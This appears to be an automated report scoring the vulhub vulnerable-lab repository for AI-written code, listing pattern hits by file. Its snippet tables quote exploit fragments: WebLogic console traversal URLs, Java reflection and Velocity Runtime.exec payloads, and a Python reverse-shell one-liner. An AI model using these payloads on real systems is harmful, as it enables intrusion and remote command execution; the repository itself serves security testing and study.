Repository Analysis

vulhub/vulhub

Pre-Built Vulnerable Environments Based on Docker-Compose

5.0 Low AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of vulhub/vulhub, a Dockerfile project with 20,953 GitHub stars. SynthScan v2.0 examined 86,467 lines of code across 1551 source files, recording 173 pattern matches distributed across 17 syntactic categories. The overall adjusted score of 5.0 places this repository in the Low AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

5.0
Adjusted Score
5.0
Raw Score
100%
Time Factor
2026-06-14
Last Push
21.0K
Stars
Dockerfile
Language
86.5K
Lines of Code
1.6K
Files
173
Pattern Hits
2026-07-14
Scan Date
0.01
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 13HIGH 9MEDIUM 24LOW 127

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 173 distinct pattern matches across 17 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hallucination Indicators13 hits · 160 pts
SeverityFileLineSnippetContext
CRITICALactivemq/CVE-2022-41678/poc.py12 'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>')CODE
CRITICALweblogic/CVE-2020-14882/README.md45http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2CODE
CRITICALweblogic/CVE-2020-14882/README.md78http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.spriCODE
CRITICALweblogic/CVE-2020-14882/README.zh-cn.md41http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2CODE
CRITICALweblogic/CVE-2020-14882/README.zh-cn.md74http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.spriCODE
CRITICALjava/rmi-registry-bind-deserialization-bypass/README.md13 || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)CODE
CRITICALjava/rmi-registry-bind-deserialization-bypass/README.md17 || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)CODE
CRITICALjava/rmi-registry-bind-deserialization-bypass/README.md18 || java.rmi.server.UID.class.isAssignableFrom(clazz)) {CODE
CRITICAL…i-registry-bind-deserialization-bypass/README.zh-cn.md11 || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)CODE
CRITICAL…i-registry-bind-deserialization-bypass/README.zh-cn.md15 || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)CODE
CRITICAL…i-registry-bind-deserialization-bypass/README.zh-cn.md16 || java.rmi.server.UID.class.isAssignableFrom(clazz)) {CODE
CRITICALhugegraph/CVE-2024-27348/README.md44 "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflectCODE
CRITICALhugegraph/CVE-2024-27348/README.zh-cn.md42 "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflectCODE
Decorative Section Separators14 hits · 51 pts
SeverityFileLineSnippetContext
MEDIUMopenclaw/CVE-2026-25253/poc.py696 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py698 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py704 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py706 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py931 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py933 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py229 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py233 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py669 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py671 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py995 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py997 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py1018 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py1020 # -------------------------------------------------------COMMENT
Structural Annotation Overuse21 hits · 38 pts
SeverityFileLineSnippetContext
LOWopenclaw/CVE-2026-25253/poc.py932 # Step 7: Restore original cliBackends configCOMMENT
LOWopenclaw/CVE-2026-25253/poc.py828 # Step 5: Set session model to the injected CLI backendCOMMENT
LOWopenclaw/CVE-2026-25253/poc.py868 # Step 6: Trigger agent execution — CLI backend spawns command directlyCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md49## Step 1: Research the VulnerabilityCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md60## Step 2: Create Base Dockerfile (if needed)COMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md91## Step 3: Write docker-compose.ymlCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md130## Step 4: Register in environments.tomlCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md171## Step 5: Write DocumentationCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md201## Step 6: Test LocallyCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md226## Step 7: Submit Pull RequestCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py214 # Step 3: RSA-encrypt login credentials and authenticateCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py253 # Step 1: Download backupCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py263 # Step 2: Parse encryption keyCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py266 # Step 3: Decrypt backupCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py269 # Step 4: Extract secretsCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py272 # Step 5: Exploit with Node SecretCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py279 # Step 6: Optionally create new admin user and obtain JWT tokenCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py180 # Step 1: Create a new admin user via X-Node-SecretCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py195 # Step 2: Get RSA public key for encrypted loginCOMMENT
LOWcraftcms/CVE-2025-32432/poc.py178 # Step 2: Inject PHP payload into sessionCOMMENT
LOWcraftcms/CVE-2025-32432/poc.py183 # Step 3: Trigger RCECOMMENT
Excessive Try-Catch Wrapping32 hits · 38 pts
SeverityFileLineSnippetContext
LOWopenclaw/CVE-2026-25253/poc.py536 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py544 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py551 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py692 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py395 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py515 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py624 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py721 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py782 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py816 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py851 except Exception:CODE
LOWtests/tools/update_dockerhub.py118 except Exception as e:STRING
MEDIUMtests/tools/update_dockerhub.py112def main():CODE
MEDIUMtests/tools/check_image_arch.py281 print(f"Error: {args.file} not found.", file=sys.stderr)CODE
LOWtests/tools/check_image_arch.py323 except Exception as e:CODE
LOWerlang/CVE-2025-32433/exploit.py145 except Exception as e:CODE
LOWshowdoc/3.2.5-sqli/poc.py26 except Exception as e:CODE
MEDIUMsuperset/CVE-2023-27524/CVE-2023-27524.py36 print(f'Error retrieving login page at {u}, status code: {resp.status_code}')CODE
MEDIUMsuperset/CVE-2023-27524/CVE-2023-27524.py46 print('Error: No session cookie found')CODE
MEDIUMsuperset/CVE-2023-27524/CVE-2023-27524.py55 print('Error: Not a Flask session cookie')CODE
LOWsuperset/CVE-2023-27524/CVE-2023-27524.py98 except Exception as e_inner:CODE
LOWsuperset/CVE-2023-27524/CVE-2023-27524.py119 except Exception as e_inner:CODE
LOWsuperset/CVE-2023-27524/CVE-2023-27524.py124 except Exception as e:CODE
LOWnginx-ui/CVE-2026-27944/poc.py210 except Exception as e:CODE
LOWnginx-ui/CVE-2026-27944/poc.py83 except Exception as e:CODE
LOWzabbix/CVE-2016-10134/CVE-2016-10134.py89 except Exception:CODE
LOWcraftcms/CVE-2025-32432/poc.py203 except Exception as e:CODE
LOWingress-nginx/CVE-2025-1974/exploit.py113 except Exception as e:STRING
MEDIUMingress-nginx/CVE-2025-1974/exploit.py114 print(f"Error on /proc/{proc}/fd/{fd}: {e}")STRING
MEDIUMingress-nginx/CVE-2025-1974/exploit.py134 print(f"Error: Shell file '{shell_file}' not found")STRING
LOWingress-nginx/CVE-2025-1974/exploit.py150 except Exception as e:STRING
MEDIUMingress-nginx/CVE-2025-1974/exploit.py151 print(f"Error connecting to {host}:{port}: {e} - host is up?")STRING
Cross-Language Confusion6 hits · 30 pts
SeverityFileLineSnippetContext
HIGHwordpress/pwnscriptum/exploit.py17 return 'target(any -froot@localhost -be %s null)' % commandCODE
HIGHairflow/CVE-2020-11981/exploit_airflow_celery.py8ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3CODE
HIGHjira/CVE-2019-11581/poc.py28#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))COMMENT
HIGHjira/CVE-2019-11581/poc.py40 payload = "$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoaSTRING
HIGHingress-nginx/CVE-2025-1974/exploit.py54 "creationTimestamp": null,CODE
HIGHingress-nginx/CVE-2025-1974/exploit.py87 "oldObject": null,CODE
Verbosity Indicators14 hits · 27 pts
SeverityFileLineSnippetContext
LOWopenclaw/CVE-2026-25253/poc.py932 # Step 7: Restore original cliBackends configCOMMENT
LOWopenclaw/CVE-2026-25253/poc.py828 # Step 5: Set session model to the injected CLI backendCOMMENT
LOWopenclaw/CVE-2026-25253/poc.py868 # Step 6: Trigger agent execution — CLI backend spawns command directlyCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py214 # Step 3: RSA-encrypt login credentials and authenticateCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py253 # Step 1: Download backupCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py263 # Step 2: Parse encryption keyCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py266 # Step 3: Decrypt backupCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py269 # Step 4: Extract secretsCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py272 # Step 5: Exploit with Node SecretCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py279 # Step 6: Optionally create new admin user and obtain JWT tokenCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py180 # Step 1: Create a new admin user via X-Node-SecretCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py195 # Step 2: Get RSA public key for encrypted loginCOMMENT
LOWcraftcms/CVE-2025-32432/poc.py178 # Step 2: Inject PHP payload into sessionCOMMENT
LOWcraftcms/CVE-2025-32432/poc.py183 # Step 3: Trigger RCECOMMENT
Unused Imports22 hits · 22 pts
SeverityFileLineSnippetContext
LOWactivemq/CVE-2023-46604/poc.py1CODE
LOWactivemq/CVE-2022-41678/poc.py8CODE
LOWcmsms/CVE-2021-26120/poc.py4CODE
LOWpython/PIL-CVE-2018-16509/app.py1CODE
LOWpython/PIL-CVE-2017-8291/app.py5CODE
LOWgrafana/admin-ssrf/grafana-ssrf.py15CODE
LOWairflow/CVE-2020-11981/exploit_airflow_celery.py1CODE
LOWopensmtpd/CVE-2020-7247/poc.py19CODE
LOWnginx-ui/CVE-2026-27944/poc.py24CODE
LOWopenssl/CVE-2014-0160/ssltest.py12CODE
LOWdjango/CVE-2020-9402/vuln/views.py1CODE
LOWdjango/CVE-2021-35042/vuln/urls.py1CODE
LOWdjango/CVE-2021-35042/vuln/urls.py1CODE
LOWdjango/CVE-2022-34265/vuln/models.py1CODE
LOWdjango/CVE-2022-34265/vuln/urls.py1CODE
LOWdjango/CVE-2022-34265/vuln/urls.py1CODE
LOWdjango/CVE-2022-34265/vuln/views.py1CODE
LOWbase/pgadmin/6.16/config_local.py1CODE
LOWbase/pgadmin/7.6/config_local.py1CODE
LOWbase/django/2.0.7/app.py3CODE
LOWingress-nginx/CVE-2025-1974/exploit.py1CODE
LOWspring/CVE-2025-41242/poc.py6CODE
Over-Commented Block17 hits · 16 pts
SeverityFileLineSnippetContext
LOWcouchdb/CVE-2022-24706/poc.py1# Exploit Title: Remote Command Execution via Erlang Distribution Protocol COMMENT
LOWapisix/CVE-2020-13945/config.yml1#COMMENT
LOWapisix/CVE-2021-45232/apisix.yml1#COMMENT
LOWapisix/CVE-2021-45232/dashboard.yml1#COMMENT
LOWopenclaw/CVE-2026-25253/poc.py221 websockets.exceptions.ConnectionClosedError) as exc:COMMENT
LOWthinkphp/in-sqlinjection/www/database.php1<?phpCOMMENT
LOWopensmtpd/CVE-2020-7247/poc.py1# Exploit Title: OpenSMTPD 6.6.1 - Remote Code ExecutionCOMMENT
LOWbase/couchdb/2.1.0/docker-entrypoint.sh1#!/bin/bashCOMMENT
LOWbase/couchdb/3.2.1/docker-entrypoint.sh1#!/bin/bashCOMMENT
LOWbase/couchdb/1.6.0/docker-entrypoint.sh1#!/bin/bashCOMMENT
LOWbase/aj-report/1.4.0/bootstrap.yml61 #若要使用minio文件存储,请启用以下配置COMMENT
LOWbase/thinkphp/2.1/index.php1<?phpCOMMENT
LOWbase/solr/8.6.1/cloud/zoo.cfg1# The number of milliseconds of each tickCOMMENT
LOWbase/solr/8.6.1/cloud/zoo.cfg21#COMMENT
LOWbase/solr/8.3.0/cloud/zoo.cfg1# The number of milliseconds of each tickCOMMENT
LOWbase/solr/8.3.0/cloud/zoo.cfg21#COMMENT
LOWbase/superset/2.0.1/run-server.sh1#!/usr/bin/env bashCOMMENT
Cross-File Repetition3 hits · 15 pts
SeverityFileLineSnippetContext
HIGHpython/unpickle/README.md0python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("172.18.0.1",80));oSTRING
HIGHpython/unpickle/README.zh-cn.md0python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("172.18.0.1",80));oSTRING
HIGHpython/unpickle/exp.py0python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("172.18.0.1",80));oSTRING
Deep Nesting11 hits · 10 pts
SeverityFileLineSnippetContext
LOWactivemq/CVE-2022-41678/poc.py972CODE
LOWtomcat/CVE-2020-1938/poc.py181CODE
LOWopenclaw/CVE-2026-25253/poc.py457CODE
LOWopenclaw/CVE-2026-25253/poc.py638CODE
LOWtests/tools/check_image_arch.py262CODE
LOWtests/check/test_env_toml.py60CODE
LOWsuperset/CVE-2023-27524/CVE-2023-27524.py18CODE
LOWnginx-ui/CVE-2026-27944/poc.py88CODE
LOWimagemagick/CVE-2022-44268/poc.py41CODE
LOWbase/saltstack/2019.2.3/saltinit.py8CODE
LOWbase/saltstack/3002/saltinit.py8CODE
Fake / Example Data7 hits · 8 pts
SeverityFileLineSnippetContext
LOWcomfyui/CVE-2025-67303/evil-git-server.py65 subprocess.run(["git", "config", "user.email", "test@test.com"], cwd=src_path, check=True,STRING
LOWnexus/CVE-2020-10204/README.md46{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User",CODE
LOWnexus/CVE-2020-10204/README.zh-cn.md43{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User",CODE
LOWjira/CVE-2019-11581/poc.py12 "from": "test@test.com",CODE
LOWbase/n8n/1.65.0/docker-entrypoint.sh50 "placeholder": "John Doe"CODE
LOWbase/n8n/1.65.0/docker-entrypoint.sh50 "placeholder": "John Doe"CODE
LOWbase/n8n/1.65.0/docker-entrypoint.sh56 "placeholder": "john@example.com"CODE
Redundant / Tautological Comments4 hits · 5 pts
SeverityFileLineSnippetContext
LOWopenclaw/CVE-2026-25253/poc.py805 # Check if the connection is still open before deciding.COMMENT
LOW.github/workflows/update-vulhub-org.yml60 # Check if there are changes to commitCOMMENT
LOWbase/n8n/1.65.0/docker-entrypoint.sh15# Check if admin already existsCOMMENT
LOWbase/jenkins/2.46.1/install-plugins.sh231 # Check if there's a version-specific update center, which is the case for LTS versionsCOMMENT
Hyper-Verbose Identifiers5 hits · 4 pts
SeverityFileLineSnippetContext
LOWtomcat/CVE-2020-1938/poc.py231def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):CODE
LOWopenclaw/CVE-2026-25253/poc.py200async def _connect_and_authenticate(target, token_data, quiet=False):CODE
LOWopenclaw/CVE-2026-25253/poc.py457async def _wait_for_gateway_restart(target, max_wait=30, token_data=None):CODE
LOWtests/check/test_env_toml.py60def test_dockerfile_covers_all_vulhub_images():CODE
LOWphp/xdebug-rce/exp.py43class XDebugRequestHandler(socketserver.BaseRequestHandler):CODE
Modern AI Meta-Vocabulary1 hit · 3 pts
SeverityFileLineSnippetContext
MEDIUMcraftcms/CVE-2025-32432/poc.py107 # Construct the malicious payload using Yii's dependency injectionCOMMENT
Self-Referential Comments1 hit · 3 pts
SeverityFileLineSnippetContext
MEDIUMbase/postgres/9.6.7/docker-entrypoint.sh40 # Create the transaction log directory before initdb is run (below) so the directory is owned by the correct userCOMMENT
Modern Structural Boilerplate1 hit · 1 pts
SeverityFileLineSnippetContext
LOWn8n/CVE-2025-68613/exploit.py25logger = logging.getLogger(__name__)CODE
AI Structural Patterns1 hit · 1 pts
SeverityFileLineSnippetContext
LOWuwsgi/unacc/poc.py27CODE